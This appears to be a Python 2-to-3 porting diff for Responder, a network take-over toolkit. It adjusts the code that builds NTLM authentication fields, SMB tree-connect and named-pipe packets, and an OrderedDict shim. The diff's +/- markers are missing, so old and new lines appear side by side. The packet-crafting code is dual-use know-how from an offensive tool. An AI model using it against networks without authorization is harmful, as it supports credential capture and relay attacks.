self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
##### LM Challenge Offset Calculation..######
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = struct.pack("<i", len(CalculateLMChallengeOffset))
self.fields["NLMPAuthMsgLMChallengeLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateLMChallengeOffset))
self.fields["NLMPAuthMsgLMChallengeLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
######################################################################################################
@ -331,33 +340,33 @@ class SMBTreeConnectData(Packet):
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x5a\x00"),
("Andxoffset", "\x5a\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x2f\x00"),
("Passwd", "\x00"),
("Path",""),
("Path","IPC$"),
("PathTerminator","\x00\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
def calculate(self):
##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
self.fields["Path"] = self.fields["Path"].encode('utf-16le').decode('latin-1')
##Passwd Len
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
self.fields["PasswdLen"] = StructWithLenPython2or3("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
self.fields["Andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
class SMBTransRAPData(Packet):
@ -390,21 +399,20 @@ class SMBTransRAPData(Packet):
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le').decode('latin-1')
##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
self.fields["TotalParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
self.fields["ParamOffset"] = StructWithLenPython2or3("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]

View file

@ -1,20 +1,9 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from UserDict import DictMixin
import sys
try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):
@ -64,9 +53,9 @@ class OrderedDict(dict, DictMixin):
if not self:
raise KeyError('dictionary is empty')
if last:
key = reversed(self).next()
key = next(reversed(self))
else:
key = iter(self).next()
key = next(iter(self))
value = self.pop(key)
return key, value
@ -77,25 +66,35 @@ class OrderedDict(dict, DictMixin):
inst_dict = vars(self).copy()
self.__map, self.__end = tmp
if inst_dict:
return self.__class__, (items,), inst_dict
return (self.__class__, (items,), inst_dict)
return self.__class__, (items,)
def keys(self):
return list(self)
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.iterkeys
itervalues = DictMixin.itervalues
iteritems = DictMixin.iteritems
if sys.version_info >= (3, 0):
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.keys
itervalues = DictMixin.values
iteritems = DictMixin.items
else:
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.iterkeys
itervalues = DictMixin.itervalues
iteritems = DictMixin.iteritems
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items())
return '%s(%r)' % (self.__class__.__name__, list(self.items()))
def copy(self):
return self.__class__(self)
@ -110,8 +109,13 @@ class OrderedDict(dict, DictMixin):
def __eq__(self, other):
if isinstance(other, OrderedDict):
return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items()))
min(p==q for p, q in zip(list(self.items()), list(other.items())))
return dict.__eq__(self, other)
def __ne__(self, other):
return not self == other
if __name__ == '__main__':
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']